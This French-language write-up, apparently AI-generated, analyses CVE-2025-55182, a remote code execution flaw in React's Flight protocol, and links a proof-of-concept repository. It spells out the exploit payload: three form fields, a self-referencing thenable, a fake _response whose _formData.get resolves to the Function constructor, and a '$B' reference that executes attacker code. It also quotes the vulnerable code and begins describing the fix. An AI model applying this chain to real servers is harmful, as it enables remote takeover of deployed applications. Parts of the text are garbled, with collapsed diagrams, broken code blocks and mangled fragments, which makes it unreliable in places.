Preuve de concept technique et analyse approfondie de CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance (RCE) dans le protocole Flight de React via un traversement de chemin, une injection de faux chunks et un abus du gestionnaire $B.
Écrit par IA/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 est une vulnérabilité RCE critique dans le Flight Protocol de React. La chaîne d'attaque combine traversée de chemin + injection de faux chunk + abus du gestionnaire $B pour exécuter Function(attacker_code).
Un grand merci à maple3142 pour la chaîne d'exploitation fonctionnelle !
L'exploit utilise trois champs de formulaire pour construire une charge utile malveillante :
then auto-référentiel (champ 1 $@0 → champ 0)_response avec _formData.get défini sur $1:constructor:constructor$B qui appelle response._formData.get(response._prefix + id)_formData.get → Function, exécutant Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Key Components
| Composant | Objectif |
|-----------|----------|
| `then: "$1:__proto__:then"` | Thenable autoréférentiel ; le fragment 1 (`$@0`) pointe vers le fragment 0 |
| `status: "resolved_model"` | Rend l'objet semblable à un fragment React valide |
| `reason: -1` | Définit rootReference sur undefined (évite les conflits de référence) |
| `value: '{"then":"$B1337"}'` | Charge utile imbriquée qui déclenche le gestionnaire `$B` |
| `_response._prefix` | Contient la chaîne de code RCE |
| `_response._chunks: "$Q2"` | Map vide pour éviter les plantages lors du traitement des fragments |
| `_response._formData.get` | Pointe vers `Function` via `$1:constructor:constructor` |
### Plongée en profondeur des composants
#### Structure des champs de formulaire
L'exploit utilise trois champs de formulaire avec des références circulaires :```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)Le then: "$1:__proto__:then" crée une auto-référence qui se résout en une fonction réelle :```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**Pourquoi c'est critique :**
1. `then` résout vers `Chunk.prototype.then` - une vraie fonction appelable
2. Cela rend l'objet factice un thenable valide
3. Lorsqu'il est attendu, JS appelle `obj.then(resolve, reject)`
4. `Chunk.prototype.then` s'exécute avec l'objet factice comme `this` :```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) utilise this._response - le faux _response de l'attaquant :```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**Sans l'auto-référence**, le faux `_response` ne serait jamais utilisé. L'auto-référence fait que `Chunk.prototype.then` traite l'objet de l'attaquant comme un vrai Chunk.
#### Déclencheur Thenable en Deux Étapes (`value`)
Le champ `value` contient une chaîne JSON imbriquée avec un autre thenable :```json
{"then":"$B1337"}
Stage 1: L'auto-référence then de l'objet externe déclenche le traitement de chunk.
Stage 2: Quand React résout le modèle, il analyse value et rencontre un autre thenable avec then: "$B1337". Le préfixe $B déclenche le handler :```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` est `"$1:constructor:constructor"` → `getOutlinedModel()` se résout en `Function`.
Cela devient : `Function(code + "1337")` → JS valide car `1337` n'est qu'une expression finale.
#### Rembourrage défensif (`_chunks`)
Le faux `_response` a besoin d'une propriété `_chunks` valide pour éviter les plantages :```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
Le code interne de React peut accéder à response._chunks.get() ou response._chunks.has() pendant le traitement. Un Map vide satisfait ces appels sans erreur, permettant à l'exécution d'atteindre le gestionnaire vulnérable $B.
| Chemin | Fonction | Objectif dans l'exploit |
|---|---|---|
| Traversée de chemin | getOutlinedModel() | Résout $1:constructor:constructor → Function |
Injection de _response factice | initializeModelChunk() | Utilise le chunk._response de l'attaquant |
Gestionnaire $B | parseModelString() | Appelle _formData.get(_prefix + id) → RCE |
decodeReply() est le point d'entrée, pas vulnérable en soi.
Traversée de chemin (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**Utilisation de la fausse réponse** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Handler RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## Le correctif (19.2.1)
Le correctif comprend plusieurs corrections :
1. **`RESPONSE_SYMBOL` dans `initializeModelChunk()`** - Correctif critique ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);